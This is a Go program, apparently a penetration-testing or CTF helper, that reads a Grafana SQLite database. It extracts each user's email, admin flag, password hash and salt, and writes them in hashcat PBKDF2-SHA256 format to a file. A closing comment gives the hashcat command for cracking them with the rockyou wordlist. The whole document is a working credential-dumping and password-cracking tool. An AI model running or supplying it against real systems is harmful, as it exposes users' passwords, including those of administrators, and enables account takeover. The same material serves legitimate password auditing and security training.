Extracting and Encoding Grafana Database Credentials for Cracking

main.go

package main

import (
    "database/sql"
    "encoding/hex"
    b64 "encoding/base64"
    "fmt"
    "log"
    "os"

    _ "github.com/mattn/go-sqlite3" // Assuming SQLite is being used; adjust if necessary
)

func main() {
    // Open the database connection (adjust the connection string as needed)
    fmt.Println("Opening database connection...")
    db, err := sql.Open("sqlite3", "./grafana.db")
    if err != nil {
        log.Fatal("Error opening database:", err)
    }
    defer func() {
        fmt.Println("Closing database connection...")
        db.Close()
    }()

    // Open the file where the hashed data will be written
    fmt.Println("Creating output file 'hashes.txt'...")
    hash_file, err := os.Create("hashes.txt")
    if err != nil {
        log.Fatal("Error creating file:", err)
    }
    defer func() {
        fmt.Println("Closing file...")
        hash_file.Close()
    }()

    // Execute the query to grab usernames, passwords, and salts
    fmt.Println("Executing query to fetch user data...")
    rows, err := db.Query("SELECT email, password, salt, is_admin FROM user")
    if err != nil {
        log.Fatal("Error executing query:", err)
    }
    defer rows.Close()

    // Process each row
    for rows.Next() {
        var email, password, salt string
        var is_admin int // or bool depending on your database

        err = rows.Scan(&email, &password, &salt, &is_admin)
        if err != nil {
            log.Fatal("Error scanning row:", err)
        }

        // Print the fetched data
        fmt.Printf("Processing user: %s (is_admin: %d)\n", email, is_admin)
        fmt.Printf("Password (hex): %s\n", password)
        fmt.Printf("Salt: %s\n", salt)

        // Decode the hex-encoded password
        decoded_hash, err := hex.DecodeString(password)
        if err != nil {
            log.Fatal("Error decoding hex password:", err)
        }
        fmt.Printf("Decoded hash (bytes): %x\n", decoded_hash)

        // Encode hash and salt in base64
        hash64 := b64.StdEncoding.EncodeToString(decoded_hash)
        salt64 := b64.StdEncoding.EncodeToString([]byte(salt))

        // Print the base64-encoded values
        fmt.Printf("Hash (base64): %s\n", hash64)
        fmt.Printf("Salt (base64): %s\n", salt64)

        // Write to the file
        _, err = hash_file.WriteString("sha256:10000:" + salt64 + ":" + hash64 + "\n")
        if err != nil {
            log.Fatal("Error writing to file:", err)
        }

        fmt.Println("Successfully wrote to file.")
    }

    // Check for errors during row iteration
    if err = rows.Err(); err != nil {
        log.Fatal("Error during row iteration:", err)
    }

    fmt.Println("Finished processing all users.")
}

// Crack using hashcat

//hashcat -m 10900 hashes.txt ~/SecLists-master/rockyou.txt -o cracked.out --show